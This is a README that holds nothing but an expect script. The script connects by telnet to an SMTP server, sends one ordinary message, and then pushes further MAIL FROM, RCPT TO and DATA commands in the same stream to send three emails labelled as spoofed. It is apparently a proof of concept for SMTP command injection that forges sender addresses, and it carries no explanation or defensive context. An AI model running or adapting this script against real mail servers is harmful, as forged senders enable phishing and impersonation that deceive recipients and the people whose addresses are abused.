README.md
Rendering markdown...
#!/usr/bin/expect
set timeout -1
set host [lindex $argv 0]
set port [lindex $argv 1]
spawn telnet $host $port
expect "220"
send "HELO $host\r"
expect "250"
send "MAIL FROM: <[email protected]>\r"
expect "250"
send "RCPT TO: <[email protected]>\r"
expect "250"
send "data\r"
expect "354"
send "From: [email protected]\r"
sleep 1
send "To: [email protected]\r"
sleep 1
send "Subject: 1st email\r"
sleep 1
send "\r"
sleep 1
send "1st email content with many others emails\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#[email protected]>\r"
sleep 1
send "rcpt TO:<validrecipient#[email protected]>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#[email protected]\r"
sleep 1
send "To: validrecipient#[email protected]\r"
sleep 1
send "Subject: Spoofed email #1\r"
sleep 1
send "\r"
sleep 1
send "Content of the #1 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#[email protected]>\r"
sleep 1
send "rcpt TO:<validrecipient#[email protected]>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#[email protected]\r"
sleep 1
send "To: validrecipient#[email protected]\r"
sleep 1
send "Subject: Spoofed email #2\r"
sleep 1
send "\r"
sleep 1
send "Content of the #2 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "mail FROM:<spoofedvalidrecipient#[email protected]>\r"
sleep 1
send "rcpt TO:<validrecipient#[email protected]>\r"
sleep 1
send "data\r"
sleep 1
send "From: spoofedvalidrecipient#[email protected]\r"
sleep 1
send "To: validrecipient#[email protected]\r"
sleep 1
send "Subject: Spoofed email #3\r"
sleep 1
send "\r"
sleep 1
send "Content of the #3 spoofed email\r"
sleep 1
send "\r"
sleep 1
send ".\r"
sleep 1
send "quit\r"